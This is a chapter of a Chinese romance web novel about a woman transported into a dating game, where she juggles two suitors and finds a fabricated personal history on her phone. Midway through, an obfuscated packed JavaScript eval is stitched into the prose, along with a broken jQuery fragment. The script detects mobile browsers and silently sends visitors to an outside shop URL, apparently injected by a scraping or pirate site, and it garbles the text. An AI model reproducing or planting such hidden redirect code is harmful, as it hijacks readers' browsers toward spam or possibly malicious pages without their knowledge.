许是文漾的动作太过于慢了,柏闫等不及,便要从身后过来抱住她。
文漾心头一激灵——要是柏闫此刻出现在她身后,楼下的宋屿舟必然会看到,到时候两人一打照面,可就完了!
她脑海里控制不住的浮现出到时候要多尴尬有多尴尬的场面。
真是的,他怎么还没走啊?
文漾在心里怒吼,脑海里一闪而过某个画面。
完蛋,她怎么就忘了,当初是她要求宋屿舟送她回来后,必须在门口等她挥手告别后才能离开的,算是情侣之间的小情趣。
宋屿舟的脾气太好了,无论文漾提出什么要求他都绝不反对,这也导致文漾玩游戏时总喜欢在他身上提各种无理的小要求。
想起这点,文漾恨不得穿回过去抽自己几个巴掌,果然人连以前的自己都无法共情。
心里这样想着,手上的动作却一点不敢耽误。她“不经意”间抬手,将桌边放着的东西挥到地上,迅速转过头对即将靠近的柏闫道:“阿闫,可以帮我捡一下东西吗?”
柏闫闻言看了眼地上,没有怀疑,蹲下将东西捡起。趁着柏闫的视线不在自己身上,文漾连忙转身,对楼下的身影挥了挥手,无声地说:“快回去吧,拜拜。”
这时柏闫也把地上的东西捡起来了,正打算起身,文漾立马按住他的肩:“我耳环好像掉了,你再帮我找找?”
“耳环?掉到哪边了?”柏闫问。
“那边那边。”文漾随手指了指。
窗外的宋屿舟看到她的动作后,终于动了。车子启动,很快消失在暮色中。
直到彻底看不见车影,文漾才松了口气。柏闫还蹲在地上帮她找耳环,高大挺拔的身影蜷缩成一团,指尖在地毯上细细摸索。
“找不到就算了,也不是什么重要的东西。”文漾这会才感觉到些许愧疚。
柏闫直起身,掌心躺着一枚小巧的珍珠耳环——正是她刚才随手丢的那只。
“在这呢。”他把耳环递过来,指尖擦过她的手背,带着微凉的触感,“怎么这么不小心?幸好没滚到家具底下,不然可有的找了。”
文漾接过来,既内疚又心虚,脑子里乱成一团。也许睡一觉就好了,这估计只是个梦吧。等第二天醒来,一切都会恢复原样的。
铃铃铃——
震耳欲聋的铃声在寂静的清晨响起,瞬间将朦胧中的文漾拉回现实。
估计又是领导的电话,有事没事就打,跟催命一样,到底要干什么?
她睡得迷糊,睁不开眼,手指习惯性地往床头摸去,却摸了个空。
铃声倏然停止,似乎有人接通了电话。
隐约间,她能听见手机里传来几声鬼哭狼嚎般的哀嚎,极其突兀。
手机的主人似乎也厌烦这个声音,听了几秒便毫不留情地挂断,将手机丢在一边。
像是为了安抚她似的,一双带着薄茧的手臂从背后轻轻搂住了她,掌心贴着她的腰腹,带着刚从外面回来的微凉触感,却又很快被体温焐热。
“乖,继续睡吧。”
文漾迷迷糊糊中察觉到不对劲,身体瞬间僵直,睡意全无。
男人的声音、男人的胸膛、男人的手臂……不对!太不对劲了!她不是应该醒了吗?怎么还能感受到这些?
“睡醒了?被孙涛的电话吵醒了?等他过来,我一定好好说他,让他别大早上打电话过来。”柏闫边说边轻拍着她的后背,“再睡会吧,我看了眼时间,还早。”
文漾哪还睡得着,手忙脚乱地推开他,爬起来就给了自己一巴掌。
好痛!
柏闫被她的动作吓了一跳,愣了一下,立马抓住她的手往自己怀里搂:“好端端的怎么突然打自己?是不是做噩梦了?”
如果说昨天文漾还能欺骗自己这不过是游戏的特效,是一场梦,可现在,一切都真实得可怕。
难道她真的穿进游戏里了?
没等她想明白,门铃声就响了。柏闫本想装听不见,可门外的人似乎存心作对,一直坚持不懈地按着门铃。
文漾也受不了这声响,起身打算去开门,却被柏闫拉住了。他烦躁地揉了揉头发,妖艳的脸上带着几分怒气。
门一开,未见其人,先闻其声:“祖宗,你怎么还在这呢?你不知道昨天你提前走了之后,那些制片人有多生气,说你耍大牌、红了就目中无人……”孙涛滔滔不绝。
柏闫打断他:“怎么?不是他们求着我去的?难道我没让他们赚到钱?”
孙涛语塞。
文漾听到动静从卧室里出来,看清孙涛的长相时,顿时确认了他的身份——
他是自柏闫出道以来就一直带着他的经纪人,极其了解柏闫的脾性。
看到文漾出来,孙涛像是抓到了救命稻草,连忙绕过柏闫打算凑过来,却被柏闫拦住:“转过去!”
他平常跟文漾说话时,总是带着点撒娇的意味,尾调像一把小刷子似的;此刻却压低了声线,多了几分低沉清冷。
孙涛二话不说立马照做。
文漾也被吓了一跳,刚想说什么,就见柏闫耷拉着眼尾,神色委屈地盯着她。
“下次不许穿成这样出来。”
文漾低头一看,自己穿的不过是件普通睡衣,不该漏的一点没漏。
“那也不行,反正就是不许给别人看。”柏闫好像看穿了她的心思,直截了当地说,语气里有说不出的委屈。
“知道了。”文漾无奈地点点头。
“你来干什么?”
孙涛在一旁不知道该不该插话,直到听到柏闫的询问,才着急开口:“我知道你讨厌那个制片人,但是今天国际品牌的拍摄真的耽误不得!对方出品人是出了名的严格,要是这次搞砸了,以后再想跟他们合作就难了!”
“文小姐,你就帮我劝劝他吧,也就你能劝动他了。”
文漾还没来得及说话,就听见一声轻啧:“这是我的事,别为难她。”
最终柏闫还是答应了孙涛,收拾妥当准备前往片场拍摄。
临走前,他突然伸手将文漾拽进怀里,力道大得让她踉跄了一下,鼻尖撞在他坚硬的胸膛上。
“等我回来。”
他的声音闷闷的,带着点依赖,尾调又恢复了往常的撒娇意味,“不许带别人来家里,也不许去别人家里。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913809|213250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“知道了嘛?”
文漾被他抱得喘不过气,只能含糊道:“知道了,你快去片场吧,别迟到了。”
柏闫却没松手,低头在她额头上印下一个滚烫的吻,舌尖轻轻舔了一下她的眉骨,像是在做某种标记。
“你会想我吧?”他盯着她的眼睛,好看的眉眼间满是毫不掩饰的占有欲,直到看到她点头,才不情不愿地松开手。
孙涛在一旁看得大气不敢出,见柏闫终于肯走,连忙拉着他往外跑,嘴里还不停念叨:“祖宗,可算肯动了,再晚真的来不及了!”
目送他们离开后,文漾抬手摸了摸刚才柏闫吻过的地方。
总觉得哪里有些不一样。
玩游戏时,柏闫的人设是毒舌、傲娇却又爱撒娇,总体称得上是个阳光大男孩。
可真正相处下来发现,柏闫带着几分偏执与侵略性,这让文漾生出一种不受控制的不安。
也许是穿越后角色变得更鲜活了?她自我安慰着,转身想去倒杯水冷静一下。
走到客厅,看到茶几上放着的手机时,文漾忽然反应过来。
不知道手机里会不会有什么线索。
她走过去拿起手机,昨天已经充满电,轻易便开了机。
屏幕界面竟与她现实中设置的一模一样,向上滑动显示需要输入密码。
文漾迟疑了一下,尝试输入自己的生日,没想到竟然解锁成功了。
她翻看着手机,里面的布局与自己的手机大同小异,唯一不同的是联系人。
原先的联系人列表全是工作相关的琐事,现在却干干净净,只有四个男人的头像与名字。
她挨个点开信息,发现内容全是自己当初和他们聊过的。
翻着翻着,文漾总算明白为什么宋屿舟和柏闫都会来这栋房子了。
原来是她当初发地址时手滑,把同一个地址发给了两个人,才导致了昨天差点翻车的场面。
她继续翻看着,除了这些已知的聊天记录,似乎再无其他。
文漾尝试点击切换账号,本想试试能不能切换回自己的号,却发现上面已经登录着一个陌生账号。
点进这个陌生账号,里面的内容几乎让她震惊。
这是一个她完全没见过的号,联系人里有爸爸、妈妈、哥哥等等,聊天内容全是普通的家庭日常与成长轨迹。
爸爸会分享公司里的趣事,妈妈叮嘱她按时吃饭添衣,哥哥吐槽她总是夜不归宿。
文漾指尖发颤地往下翻,聊天记录从十年前一直延续到上个月,相册里甚至还有她“小时候”的照片。
扎着羊角辫的小女孩在草坪上追着蝴蝶跑,眉眼间与现在的自己一模一样;生日时和家人一起吹蜡烛,身边站着的哥哥笑得一脸宠溺。
这些细节真实到可怕,仿佛她真的在这个世界生活了二十多年,而不是一个穿进游戏的“外来者”。
“原来……我在这里真的有完整的身份。”她喃喃自语。
这些设定最初是由她自己创建的,游戏初衷是为了让玩家拥有最真实的体验,不过这些在游戏中也只是是匆匆带过的几笔而已,可到了这里,一切都变得无比真实。